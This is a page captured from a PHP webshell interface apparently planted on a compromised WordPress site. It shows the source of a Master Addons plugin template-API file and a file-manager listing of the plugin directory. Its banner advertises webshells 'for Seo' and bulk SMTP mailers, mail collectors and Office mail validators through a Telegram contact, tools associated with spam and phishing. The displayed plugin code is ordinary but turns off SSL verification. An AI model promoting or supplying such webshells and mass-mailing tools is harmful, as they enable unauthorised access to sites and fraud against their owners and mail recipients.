__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
	/**
	 * Author Name: Liton Arefin
	 * Author URL: https://jeweltheme.com
	 * Date: 9/8/19
	 */


	namespace MasterAddons\Inc\Templates\Classes;

	use MasterAddons\Inc\Templates;

	if( ! defined( 'ABSPATH' ) ) exit; // No access of directly access

	if ( ! class_exists( 'Master_Addons_Templates_API' ) ) {

		class Master_Addons_Templates_API {

			private $config     = array();

			private $enabled    = null;

			public function __construct() {
				$this->config  = Templates\master_addons_templates()->config->get( 'api' );
			}


			public function is_enabled() {

				if ( null !== $this->enabled ) {
					return $this->enabled;
				}

				if ( empty( $this->config['enabled'] ) || true !== $this->config['enabled'] ) {
					$this->enabled = false;
					return $this->enabled;
				}

				if ( empty( $this->config['base'] ) || empty( $this->config['path'] ) || empty( $this->config['endpoints'] ) ) {
					$this->enabled = false;
					return $this->enabled;
				}

				$this->enabled = true;

				return $this->enabled;
			}

			public function api_url( $flag ) {

				if ( ! $this->is_enabled() ) {
					return false;
				}

				if ( empty( $this->config['endpoints'][ $flag ] ) ) {
					return false;
				}

				return $this->config['base'] . $this->config['path'] . $this->config['endpoints'][ $flag ];
			}


			public function get_info( $key = '' ) {

				$api_url = $this->api_url( 'info' );

				if ( ! $api_url ) {
					return false;
				}

				$response = wp_remote_get( $api_url, $this->request_args() );

				$body = wp_remote_retrieve_body( $response );
				$body = json_decode( $body, true );

				if ( ! $body || ! isset( $body['success'] ) || true !== $body['success'] ) {
					return false;
				}

				if ( ! $key ) {
					unset( $body['success'] );
					return $body;
				}

				if ( is_string( $key ) ) {
					return isset( $body[ $key ] ) ? $body[ $key ] : false;
				}

				if ( is_array( $key ) ) {

					$result = array();

					foreach ( $key as $_key ) {
						$result[ $_key ] = isset( $body[ $_key ] ) ? $body[ $_key ] : false;
					}

					return $result;

				}

			}


			public function request_args() {
				return array(
					'timeout'   => 60,
					'sslverify' => false
				);
			}

		}

	}

Filemanager

Name Type Size Permission Actions
api.php File 2.18 KB 0775
assets.php File 33.18 KB 0775
config.php File 3.19 KB 0775
get-templates-update.php File 6.66 KB 0775
manager.php File 21.57 KB 0775
rest-api.php File 8.72 KB 0775
template-kit-cache-manager.php File 117.91 KB 0775
template-library-cache-manager.php File 38.14 KB 0775
Filemanager